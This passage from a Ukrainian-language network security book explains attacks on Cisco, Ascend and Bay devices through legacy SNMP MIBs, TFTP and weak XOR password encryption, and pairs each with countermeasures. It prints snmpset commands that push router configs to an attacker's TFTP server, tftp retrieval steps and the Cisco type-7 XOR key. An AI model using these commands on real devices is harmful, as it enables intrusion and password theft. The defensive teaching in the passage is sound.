Усунення вад
Можливість
хакинга мережевих пристроїв в значній мірі залежить від об'єму і якості проведених в мережі захисних заходів. Якщо ви вибрали паролі для підключень telnet і рядки доступу SNMP, які важко підібрати, обмежили використання служб FTP і TFTP, а також активізували режим реєстрації всіх подій, що мають відношення до безпеки (за умови, звичайно, що хтось регулярно проглядає ці журнали), то описані нижче вади навряд чи виявляться небезпечними для вашої мережі. З іншого боку, якщо ваша мережа достатньо обширна і має складну для управління структуру, в ній можуть опинитися вузли, безпека яких, м'яко кажучи, далека від ідеальної. У зв'язку з цим нелішнім буде виконати додаткову перевірку і зайвий раз застрахуватися від несподіванок.
Застаріла база даних MIB Cisco і Ascend
Пристрої
компаній Cisco і Ascend підтримують базу даних MIB застарілого формату, яка через відкриті рядки доступу, забезпечуюче читання і запис, дозволяє будь-якому користувачеві отримати конфігураційний файл з використанням TFTP. Якщо мова йде про пристроях Cisco, то ця база даних називається OLD-CISCO-SYS-MIB. Зважаючи на те що в цьому файлі міститься пароль для доступу до пристрою Cisco (він зашифрований вельми примітивним способом — за допомогою операції XOR), зломщик може легко розшифрувати його і використовувати для реконфігурації вашого маршрутизатора або комутатора.
Для того, щоб перевірити, чи уразимо ваш маршрутизатор, можна виконати описані нижче операції. Скориставшись програмою IP Network Browser компанії Solarwinds (http: //www. solarwinds .net), вкажіть рядки доступу SNMP, забезпечуюче читання і запис, і проскануйте необхідний пристрій або всю мережу. Після завершення сканування ви побачите інформацію про всі виявлені пристрої і дані SNMP (мал. 10.3).
Якщо
пристрій, що цікавить вас, згенерував відповідь на SNMP-запрос і відповідний елемент списку заповнений інформацією, представленою у вигляді деревовидної структури, виберіть з меню команду Nodes^view Config File. При цьому запуститься сервер TFTP і, якщо в системі захисту пристрою є вада, можна отримати конфігураційний файл Cisco, як показано на мал. 10.4.
Мал. 10.3. Програма IP Network Browser компанії Solarwinds дуже наиядно представляє інформацію, яку можна напівнитка за допомогою легких вгадуваних рядків доступу SNMP
Отримавши конфігураційний файл, залишається лише розшифрувати пароль. Для цього досить клацнути на кнопці Decrypt Password панелі інструментів, як показано на мал. 10.5.
Мал.
10.4. Модуль Cisco Config Viewer дозволяє легко отримати конфігураційний файл пристрою Cisco. Для цього досить підібрати рядок доступу, що забезпечує читання і запис
Мал.
10.5. З використанням модуля Cisco Config Viewer компанії Solarwinds дуже просто розшифрувати паролі Cisco, що містяться в конфігураційному файлі
Якщо
ж ви хочете перевірити, чи є ваш пристрій уразливим, не удаючись до "хакреських методів", то можна скористатися базою даних Cisco, що знаходиться за адресою
ftp://ftp.cisco.com/pub/mibs/supportlists/. Знайдіть свій пристрій і перепишіть на свій комп'ютер файл supportlist.txt. Потім вам залишається перевірити, чи підтримується цим пристроєм база даних MIB старого формату, тобто OLD-CISCO-SYS-MIB. Якщо це так, то вам доведеться приймати додаткові заходи по захисту маршрутизатора.
У системі UNIX конфігураційний файл Cisco можна отримати за допомогою єдиної команди. Якщо вам відомий рядок доступу для читання і запису пристрою з адресою 10.11.12.13 і на вашому комп'ютері з IP-адресом, скажемо 192.168.200.20, запущений сервер TFTP, то можна скористатися наступною командою
snmpset 10.11.12.13 private 1.3.6.1.4.1.9.2.1.55.192.168.200.20 s config.file
У
конфігураційному файлі Cisco є два елементи, які представляють особливий інтерес для зловмисника, — пароль дозволу доступу (enable password) і пароль telnet-аутентификации. Обидва ці елементу зберігаються в конфігураційному файлі в зашифрованому вигляді. Проте, як ми побачимо декілька пізніше, розшифрувати їх досить просто. Нижче приведений рядок, що містить зашифрований пароль дозволу доступу.
enable password 7 08204е
А
так виглядають рядки, що містять пароль telnet-аутентификации.
line vty 0 4 password 7 08204е
login
Для того, щоб завантажити конфігураційний файл пристроїв Ascend, також можна скористатися командою snmpset наступного вигляду.
snmpset 10.11.12.13 private 1.3.6.1.4.1.529.9.5.3.0 а
snmpset 10.11.12.13 private 1.3.6.1.4.1.529.9.5.4.0 s config.file
Контрзаходи: захист бази даних MIB
Виявлення
Найпростіший спосіб виявлення SNMP-запросов на запис в базу даних MIB полягає у використанні утиліти syslog, налаштованою на реєстрацію кожного запиту. Для цього спочатку на комп'ютері з системою UNIX або NT потрібно запустити демон syslog, а потім набудувати його так, щоб він реєстрував відповідні події. На пристрої Cisco це можна зробити за допомогою наступної команди. logging 196.254.92.83
Захист
Для того, щоб перешкодити зловмисникові отримати стару базу MIB, можна зробити наступні заходи.
- Використовуйте список ACL, щоб вирішити застосування протоколу SNMP тільки для певних вузлів або мереж. На пристроях Cisco для цього потрібно скористатися командою, що має наступний вигляд.
access-list 101 permit udp 172.29.11.0 0.255.255.255 any eq 161 log
- Включите режим доступу за допомогою SNMP
тільки для читання (до). На пристроях Cisco для цього потрібно
скористатися командою, що має наступний вигляд. snmp-server community
<складний рядок доступу> RO
- Краще всього взагалі відключите доступ через SNMP, скориставшись наступною командою, no snmp-server
Слабкість алгоритмів шифрування паролів Cisco
Пристрої Cisco, принаймні на момент написання даної книги, мали слабкий алгоритм шифрування, використовуваний як при зберіганні пароля vty, так і пароля доступу. Обидва паролі зберігаються в конфігураційному файлі пристроїв, а їх злом не представляє особливої праці. Для того, щоб дізнатися, чи є ваш маршрутизатор уразливим, проглянете конфігураційний файл за допомогою наступної команди.
show config
Якщо ви побачите рядок, подібний показаною нижче, значить, пароль доступу до пристрою легко розшифрувати.
enable password 7 08204е
З
іншого боку, якщо в конфігураційному файлі ви побачите запис, подібний приведеною нижче, можете не хвилюватися — пароль доступу надійно захищений (чого, на жаль, не можна сказати про пароль telnet).
enable secret 5 $1$.pUt$w8jwdabc5nHk1IHFWcDav
Цей запис означає, що грамотний адміністратор Cisco замість використовуваної після умовчання команди enable password застосував команду enable secret, активізуючу режим шифрування пароля по алгоритму Md5, який забезпечує велику надійність, чим стандартний алгоритм Cisco. Проте, наскільки нам відомо, шифрування паролів за допомогою Md5 розповсюджується тільки на пароль доступу, але непридатний для шифрування таких паролів, як паролі vty.
line vty 0 4 password 7
08204е login
Слабкість вбудованого
алгоритму шифрування Cisco пояснюється тим, що він заснований на використанні операції XOR і постійного значення, що ініціалізувало (seed value). Шифровані паролі Cisco можуть мати до 11 алфавітно-цифрових символів різного регістра. Перші два байти пароля вибираються випадковим чином з діапазону від 0x0 до 0xf,
а ті, що залишилися є рядком, отриманим шляхом об'єднання за допомогою операції XOR пароля і заданого блоку символів dsfd;kfoA,.iyewrkldJKDHSUB.
Розшифрувати такий пароль можна за допомогою однієї з безлічі програм, наявних в Internet. . Перша з них, написана хакером Хоббітом (Hobbit)
(http://www.avian.org ), є сценарієм командної оболонки. Друга програма, ciscocrack.c, написана на мові З хакером Сфайксом (Sphixe). Її можна знайти в численних статтях, присвячених аналізу паролів
Cisco. Третьою програмою є додаток Palm Pilot, створений доктором Маджем (Dr. Mudge), одним з учасників групи
L0pht. І нарешті, модуль розшифровки пароля Cisco був створений компанією Solarwinds. У системі NT цей модуль функціонує як частина програмного пакету управління мережею. Його можна знайти за адресою
http://www.solarwinds.net.
Модуль розшифровки паролів Cisco компанії Solarwinds
Для тих, хто краще знайомий з системою Windows, існує відповідна версія модуля розшифровки паролів Cisco, підготовлена компанією Solarwinds з міста Тулса штату Оклахома (Tulsa, Oklahoma). Компанія Solarwinds розробляє мережеве програмне забезпечення для великих телекомунікаційних компаній і включає модуль розшифровки до складу додатку проглядання параметрів налаштування пристроїв Cisco (Cisco Config Viewer). Крім того, цей модуль розповсюджується і як самостійне застосування (мал. 10.6).
Мал.
10.6.
Програма Cisco Password Decryption компанії Solar-winds має графічний призначений для користувача інтерфейс і є дуже простим засобом розшифровки паролів Cisco
Контрзаходи: захист паролів Cisco
Єдиним
вирішенням проблеми захисту пароля доступу (enable password) є використання для зміни пароля команди enable secret. Ця команда захищає пароль доступу за допомогою алгоритму шифрування Md5, для якого поки що немає відомих методів швидкого злому. На жаль, решта паролів Cisco, такі як паролі доступу vty, захистити ні цим, ні яким-небудь іншим методом не можна.
Отримання файлів за допомогою TRP
Практично всі маршрутизатори підтримують використання протоколу TFTP (Trivial File Transfer Protocol). Цей протокол є заснованим на протоколі UDP механізм передачі файлів, вживаний для резервного копіювання і відновлення конфігураційних файлів, який пов'язаний з портом UDP 69. Як ви розумієте, виявити цю службу, запущену на вашому пристрої, досить просто за допомогою утиліти nmap.
[root@happy] nmap -su -p69 -nw target
Використання TFTP для отримання конфігураційних файлів зазвичай є вельми тривіальною операцією (за умови, звичайно, що адміністратор мережі вживає загальноприйняті назви конфігураційних файлів). Наприклад, виконавши
зворотне DNS-преобразование адреси пристрою, що знаходиться в нашій мережі (192.168.0.1), ми можемо встановити, що воно має DNS-имя lax-serial-rtr. Тепер можна просто спробувати отримати файл .cfg за допомогою наступних команд, в яких ім'я DNS використовується як ім'я конфігураційного файлу.
[root@happy] tftp
> connect 192.168.0.1
> get lax-serial-rtr.cfg > quit
Якщо ваш маршрутизатор уразливий, то в поточному каталозі вашого комп'ютера ви напевно знайдете конфігураційний файл (lax-serial-rtr.cfg) маршрутизатора. У нім, швидше за все, міститимуться всі рядки доступу SNMP, а також списки управління доступом. Докладніша інформація про те, як використовувати TFTP для отримання інформації про пристрої Cisco, знаходиться в архіві групи Packet Storm.
Контрзаходи: захист від застосування Тftр
Для
того, щоб усунути загрозу, що таїться у використанні протоколу TFTP, можна зробити наступні заходи.
- Взагалі забороните доступ за допомогою TFTP. Синтаксис команди, яку можна використовувати для цих цілей, істотно залежить від моделі маршрутизатора, тому спочатку уважно вивчите документацію. Для моделей ряду Cisco 7000 можна спробувати команду наступного вигляду.
no tftp-server flash <устройство:імя_файла>
- Для контролю доступу за допомогою TFTP набудуйте відповідний фільтр. Це можна здійснити за допомогою команди, подібної наступної.
access-list 101 deny udp any any eq 69 log !
Конфігураційні файли пристроїв компанії Bay
Програмне
забезпечення управління мережею компанії Bay Networks, диспетчер Site Manager, дозволяє адміністраторам виконувати тестування стану мережі, включаючи перевірку SNMP-статуса пристрою і встановлення факту його працездатності за допомогою пакетів Iсмр.
На жаль, конфігураційні файли .cfg, призначені для зберігання параметрів Site Manager, зберігаються в незашифрованому вигляді. Окрім іншого, в цьому файлі зберігаються також рядки доступу SNMP. Якщо зловмисникові вдасться проникнути на комп'ютер, що працює під управлінням Site Manager, все, що йому потрібно зробити, — це скопіювати конфігураційні файли в свою версію Site Manager і знайти в них інформацію про рядки доступу SNMP.
Контрзаходи: захист конфігураційних файлів
Вау
Найпростіша захисна міра полягає в обмеженні списку користувачів. яким дозволено копіювати конфігураційні файли. Для цього досить вирішити читання цих файлів тільки суперкористувачеві root (або тільки адміністраторові, що відповідає за налаштування маршрутизатора).
|